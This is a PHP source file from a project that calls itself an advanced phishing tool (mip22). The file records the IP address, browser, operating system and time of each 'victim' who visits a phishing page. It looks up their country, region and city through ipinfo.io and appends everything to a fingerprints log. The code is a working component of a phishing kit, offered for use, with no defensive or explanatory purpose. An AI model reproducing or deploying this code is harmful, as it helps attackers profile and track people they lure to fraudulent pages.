fingerprints.php 4.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126
  1. <?php
  2. /*
  3. * Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
  4. * mip22 is a advanced phishing tool.
  5. *
  6. * mip22 is free software: you can redistribute it and/or modify
  7. * it under the terms of the GNU Affero General Public License as published by
  8. * the Free Software Foundation, either version 3 of the License, or
  9. * (at your option) any later version.
  10. *
  11. * mip22 is distributed in the hope that it will be useful,
  12. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14. * GNU Affero General Public License for more details.
  15. *
  16. * You should have received a copy of the GNU Affero General Public License
  17. * along with this program. If not, see <http://www.gnu.org/licenses/>.
  18. *
  19. */
  20. // Set File write informations
  21. $file = "fingerprints.txt";
  22. // Get Full date of victim visit
  23. $full_date = date("d-m-Y h:i:s");
  24. // Get Victim IP
  25. if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  26. $ip = $_SERVER['HTTP_CLIENT_IP'];
  27. } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  28. $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  29. } else {
  30. $ip = $_SERVER['REMOTE_ADDR'];
  31. }
  32. // Get Victim Browser
  33. $browser = $_SERVER['HTTP_USER_AGENT'];
  34. // Get Victim Os System
  35. function get_operating_system() {
  36. $u_agent = $_SERVER['HTTP_USER_AGENT'];
  37. $operating_system = 'Unknown Operating System';
  38. //Get the operating_system name
  39. if (preg_match('/linux/i', $u_agent)) {
  40. $operating_system = 'Linux';
  41. } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
  42. $operating_system = 'Mac';
  43. } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
  44. $operating_system = 'Windows';
  45. } elseif (preg_match('/ubuntu/i', $u_agent)) {
  46. $operating_system = 'Ubuntu';
  47. } elseif (preg_match('/iphone/i', $u_agent)) {
  48. $operating_system = 'IPhone';
  49. } elseif (preg_match('/ipod/i', $u_agent)) {
  50. $operating_system = 'IPod';
  51. } elseif (preg_match('/ipad/i', $u_agent)) {
  52. $operating_system = 'IPad';
  53. } elseif (preg_match('/android/i', $u_agent)) {
  54. $operating_system = 'Android';
  55. } elseif (preg_match('/blackberry/i', $u_agent)) {
  56. $operating_system = 'Blackberry';
  57. } elseif (preg_match('/webos/i', $u_agent)) {
  58. $operating_system = 'Mobile';
  59. }
  60. return $operating_system;
  61. }
  62. $os_system = get_operating_system();
  63. // Get Victim Geolocation Info
  64. function get_client_ip()
  65. {
  66. $ipaddress = '';
  67. if (isset($_SERVER['HTTP_CLIENT_IP'])) {
  68. $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
  69. } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  70. $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
  71. } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
  72. $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
  73. } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
  74. $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
  75. } else if (isset($_SERVER['HTTP_FORWARDED'])) {
  76. $ipaddress = $_SERVER['HTTP_FORWARDED'];
  77. } else if (isset($_SERVER['REMOTE_ADDR'])) {
  78. $ipaddress = $_SERVER['REMOTE_ADDR'];
  79. } else {
  80. $ipaddress = 'UNKNOWN';
  81. }
  82. return $ipaddress;
  83. }
  84. $PublicIP = get_client_ip();
  85. $json = file_get_contents("http://ipinfo.io/$PublicIP/geo");
  86. $json = json_decode($json, true);
  87. $country = $json['country'];
  88. $region = $json['region'];
  89. $city = $json['city'];
  90. file_put_contents($file, print_r("\nWTSOCIAL VICTIM FINGERPRINTS => Informations \n", true), FILE_APPEND);
  91. file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
  92. file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
  93. file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
  94. file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
  95. file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
  96. file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
  97. file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
  98. file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
  99. file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
  100. file_put_contents($file, print_r("\n", true), FILE_APPEND);
  101. ?>